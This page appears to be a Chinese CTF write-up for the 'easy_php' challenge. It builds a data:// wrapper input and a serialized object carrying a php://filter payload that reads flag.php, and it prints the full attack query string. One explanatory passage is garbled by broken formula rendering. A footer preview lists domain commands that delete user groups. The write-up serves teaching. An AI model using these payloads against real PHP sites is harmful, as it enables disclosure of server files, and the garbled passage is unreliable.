SWCTF

news2024/12/23 22:13:38

easy_php

源码

<?php

// flag is in flag.php
highlight_file(__FILE__);
ini_set('display_errors', 0);
error_reporting(0);

if (isset($_GET['myon1']) && isset($_GET['myon2']) && isset($_GET['myon3'])) {
    $myon1 = $_GET['myon1'];
    $myon2 = $_GET['myon2'];
    $myon3 = $_GET['myon3'];

    if (file_get_contents($myon1) === "hello Myon!") {
        echo "welcome!";
    } else {
        die("you can't see the flag!");
    }

    if (stripos($myon2, "flag") !== false || preg_match("/flag/i", $myon2)) {
        die("Access denied!");
    } else {
        include($myon2);  // myon.php
        $my = unserialize($myon3);
        echo $my;
    }
}

?>

代码分析

提亮字体

highlight_file(__FILE__);

关闭错误回显,暴露出的信息越少越有利于网站的自我保护

ini_set('display_errors', 0);
error_reporting(0);

同时get传入三个参数,必须同时传入三个参数mony1,mony2,mony3少传一个都不会执行最大的这个if

if (isset($_GET['myon1']) && isset($_GET['myon2']) && isset($_GET['myon3'])) 

设置三个变量用来存储传入的参数用于后续代码执行

$myon1 = $_GET['myon1'];
$myon2 = $_GET['myon2'];
$myon3 = $_GET['myon3'];

此函数的判断条件是mony1储存的数据是否全等于hello Myon!如果是则输出welcom!,否则

if (file_get_contents($myon1) === "hello Myon!") {
        echo "welcome!";
    } else {
        die("you can't see the flag!");
    }

匹配mony2中最后一次出现flag的位置,出现了则不全等flase
stripos($myon2, “flag”) !== false

正则表达式匹配flag,i标识不区分大小写
preg_match(“/flag/i”, $myon2)

总之就是||前后的都必须为假也就是mony2中不能有flag字符串,不然就终止程序并且输出Access denied!,如果都没有包含flag,就文件包含mony2

if (stripos($myon2, "flag") !== false || preg_match("/flag/i", $myon2)) {
        die("Access denied!");
    } else {
        include($myon2);  // myon.php
        $my = unserialize($myon3);
        echo $my;
    }

其次这个函数里还创建了一个变量my将mony3反序列化后赋值给了my最后输出my

序列化,反序列化

序列化就是将对象转换为字符串,反序列化将字符串转换为对象
可以看看这个博主写的

构建参数

mony1:目的输出welcom!

myon1=data://text/plain;base64,aGVsbG8gTXlvbiE=
为什么这么构造呢,你先不管后两个参数的内容是什么,只将第一个参数mony1的值改为hello world在这里插入图片描述之后我做了很多此尝试发现始终不会输出welcom,所以这里大概率是做了过滤,应该是把空格处理了,然后我尝试将空格替换成了url编码的格式还是不行在这里插入图片描述
这里我做了很多尝试,想到了base64编码,但是还是在这里插入图片描述
在这里插入图片描述
伪协议可以参考学习一下这个博主的
它不知道这个是base64编码,我们要告诉它,这就需要利用data://控制输入流告诉它这里有base编码。
也就是

myon1=data://text/plain;base64,aGVsbG8gTXlvbiE=

在这里插入图片描述

mony2

看到了提示,myon.php
在这里插入图片描述
当给 m y o n 2 传递参数为 m y o n . p h p 时,接下来的代码执行如下: 1. i n c l u d e ( myon2 传递参数为 myon.php 时,接下来的代码执行如下: 1.include( myon2传递参数为myon.php时,接下来的代码执行如下:1.include(myon2);:这会包含 myon.php 文件的内容。如果 myon.php 存在并且可访问,其中的代码将被执行。
2. m y = u n s e r i a l i z e ( my = unserialize( my=unserialize(myon3);:这一行尝试对 m y o n 3 进行反序列化操作。 myon3 进行反序列化操作。 myon3进行反序列化操作。myon3 包含了一个序列化的对象,如果反序列化成功,会将对象存储在变量 $my 中。

这样就行了

myon2=myon.php.

myon3

在这里插入图片描述
根据此模板构造
在这里插入图片描述
试着传入myon3的值,一般编码读取的成功性更大

myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=myon.php";}

在这里插入图片描述
在这里插入图片描述
这个序列化的对象表示一个名为 “Myon” 的类,其中有一个名为 “myon” 的属性
可以直接读取myon.php的文件那不妨直接试试读取flag.php,这里给了提示
在这里插入图片描述

myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
类似的我们还可以读取网页源码

在这里插入图片描述

将三者拼接到一起就成功获取了一个fbase64加密的flag

myon1=data://text/plain;base64,aGVsbG8gTXlvbiE=&myon2=myon.php&myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1620092.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

揭秘内网渗透:命令大全助你轻松测试安全【内网渗透命令大全】

网络安全最新课程大纲 感兴趣可留言 1.域常用操作命令&#xff1a; net group /domain //获得所有域用户组列表 net group qq_group /domain //显示域中qq_group组的成员 net group qq_group /del /domain //删除域中qq_group组 net group qq_group qq /del /domain …

2024创业项目新方向,智享无人实景直播配合智能贴图数字人,让直播更简单,帮助商家快速引流客户到店,帮助创业者轻松实现梦想!

随着科技的迅猛发展&#xff0c;直播行业也经历了一次又一次的变革和创新。在2024年&#xff0c;AI实景无人直播成为了这个领域的全新宠儿&#xff0c;为商家和观众带来了前所未有的智能、高效体验。这种革命性的直播方式不仅降低了运营成本&#xff0c;还极大地提升了直播的效…

Aigtek功率放大器的工作特点有哪些方面

功率放大器是电子设备中常见的元器件&#xff0c;用于将输入信号的功率增加到所需的输出功率水平。它在各种应用中发挥着重要作用&#xff0c;如音频放大、射频信号处理、通信系统等。功率放大器具有以下几个工作特点&#xff1a; 放大功能&#xff1a;功率放大器主要的工作特点…

怎样快速插入数据

1、30万条数据插入插入数据库验证 1.1、表结构&#xff1a; CREATE TABLE t_user (id int(11) NOT NULL AUTO_INCREMENT COMMENT 用户id,username varchar(64) DEFAULT NULL COMMENT 用户名称,age int(4) DEFAULT NULL COMMENT 年龄,PRIMARY KEY (id) ) ENGINEInnoDB DEFAULT…

Python自学篇2-导入Win32库

Python导入win32模块 导入win32模块可以让我们在Python中使用Windows的API功能&#xff0c;这对于开发需要与Windows操作系统进行交互的应用程序非常有用。 本文将介绍如何导入win32模块&#xff0c;并提供一些代码示例来帮助读者更好地理解。 什么是win32模块&#xff1f; …

【Stable Diffusion系列】(一):AI绘画本地部署教程

目录 一、总览 二、本地部署 1、安装cuda 2、安装python 3、安装git 4、方法一 1&#xff09;获取安装包 2&#xff09;update 3&#xff09;run 5、方法二 1&#xff09;git clone 2&#xff09;双击webui-user.bat 3&#xff09;更新 6、设置启动参数 7、…

LiveNVR监控流媒体Onvif/RTSP常见问题-如何对比监控摄像头延时视频流延时支持webrtc视频流播放超低延时播放

LiveNVR如何对比监控摄像头延时视频流延时支持webrtc视频流播放超低延时播放 1、问题场景2、如何对比延时&#xff1f;3、WEBRTC延时对比4、LiveNVR支持WEBRTC输出5、RTSP/HLS/FLV/RTMP拉流Onvif流媒体服务 1、问题场景 需要低延时的视频流监控播放&#xff0c;之前可以用rtmp…

pytorch-MNIST测试实战

目录 1. 为什么test2. 如何做test3. 什么时候做test4. 完整代码 1. 为什么test 如下图&#xff1a;上下两幅图中蓝色分别表示train的accuracy和loss&#xff0c;黄色表示test的accuracy和loss&#xff0c;如果单纯看train的accuracy和loss曲线就会认为模型已经train的很好了&a…

C++初识--------带你从不同的角度理解引用的巧妙之处

1.对于展开的理解 我们这里的展开包括命名空间的展开和头文件的展开&#xff0c;两者的含义是不一样的&#xff1a; 头文件的展开就是把头文件拷贝到当前的文件里面&#xff1b; 命名空间的展开不是拷贝&#xff0c;而是因为编译器本身默认是到全局里面去找&#xff0c;当我…

【热议】硕士和读博士洗碗区别的两大理论

::: block-1 “时问桫椤”是一个致力于为本科生到研究生教育阶段提供帮助的不太正式的公众号。我们旨在在大家感到困惑、痛苦或面临困难时伸出援手。通过总结广大研究生的经验&#xff0c;帮助大家尽早适应研究生生活&#xff0c;尽快了解科研的本质。祝一切顺利&#xff01;—…

SWOT分析法:知彼知己的战略规划工具

文章目录 一、什么是SWOT分析法二、SWOT分析法如何产生的三、SWOT分析法适合哪些人四、SWOT分析法的应用场景五、SWOT分析法的优缺点六、SWOT分析实例 一、什么是SWOT分析法 SWOT分析法是一种用于评估组织、项目、个人或任何其他事物的战略规划工具。SWOT是Strengths&#xff…

组态风格的工业可视化大屏,既同步状态又掌控数据,一箭双雕。

可视化大屏中加入了组态图&#xff0c;状态和数据一目了然了&#xff0c;我看还有谁说可视化大屏没啥用啦。 将组态图放入可视化大屏中可以起到以下几个作用&#xff1a; 1. 实时监控&#xff1a; 组态图可以用来实时监控设备、系统或者生产线的运行状态。通过大屏展示&#…

HackMyVM-Alzheimer

目录 信息收集 arp nmap FTP服务信息收集 匿名登陆 关键信息 knock WEB信息收集 信息收集 gobuster 目录爆破 ssh登录 提权 系统信息收集 提权 get root 信息收集 arp ┌──(root㉿0x00)-[~/HackMyVM] └─# arp-scan -l Interface: eth0, type: EN10MB, MAC…

应用于智能装备制造,钡铼IOy系列模块展现其强大的灵活性和实用性

随着科技的飞速发展&#xff0c;智能制造已经成为工业4.0时代的核心驱动力。在此背景下&#xff0c;钡铼技术推出的IOy系列模块以其独特的设计、卓越的性能以及无可比拟的灵活性与实用性&#xff0c;在智能装备制造领域展现出了强大的技术优势和应用价值。 首先&#xff0c;钡…

Excel 冻结前几行

Excel中有冻结首航和冻结首列的选项&#xff0c;但是如果想冻结前几行该怎么操作&#xff1f; 冻结首行或冻结首列 视图 -> 冻结窗格 -> 冻结首行或冻结首列 冻结前几行或前几列 视图 -> 冻结窗格 -> 冻结拆分窗格 具体冻结几行和几列取决于当前选中的单元格。…

力扣HOT100 - 114. 二叉树展开为链表

解题思路&#xff1a; class Solution {List<TreeNode> list new ArrayList<>();public void flatten(TreeNode root) {recur(root);for (int i 1; i < list.size(); i) {TreeNode pre list.get(i - 1);TreeNode cur list.get(i);pre.left null;pre.right…

不同伦敦金网上平台的投资者都在使用的平仓技术

现在几乎是百分之一百的伦敦金交易都在伦敦金网上平台进行。市面上有不同的伦敦金网上平台&#xff0c;那有没有一些交易技术&#xff0c;不论是什么伦敦金网上平台的投资者都喜欢用的呢&#xff1f;答案是肯定的&#xff0c;下面我们就从平仓这个角度来讨论一下伦敦金网上平台…

LeetCode - 11.盛最多水的容器

一. 题目链接 LeetCode - 11.盛最多水的容器 二. 思路解释 利用双指针的思想&#xff0c;定义一个left和reght&#xff0c;left指向首部&#xff0c;right指向尾部&#xff0c;计算当前两个指针所对应的高度构成容器的体积。根据当前双指针所指的高度的大小&#xff0c;然后让…

精益人效,实践为先|第四届狮山人力资源论坛圆满举办

4月19日 &#xff0c;在苏州日航酒店&#xff0c;由中国苏州人力资源服务产业园、苏州高新区人力资源服务产业园指导&#xff0c;盖雅工场、盖雅学苑和盖雅人效研究院主办的 「精益人效 实践为先——第四届狮山人力资源论坛」圆满结束。 700余位企业管理者与人力资源从业者&am…

【每日刷题】Day23

【每日刷题】Day23 &#x1f955;个人主页&#xff1a;开敲&#x1f349; &#x1f525;所属专栏&#xff1a;每日刷题&#x1f34d; &#x1f33c;文章目录&#x1f33c; 1. 138. 随机链表的复制 - 力扣&#xff08;LeetCode&#xff09; 2. 链表的回文结构_牛客题霸_牛客网 …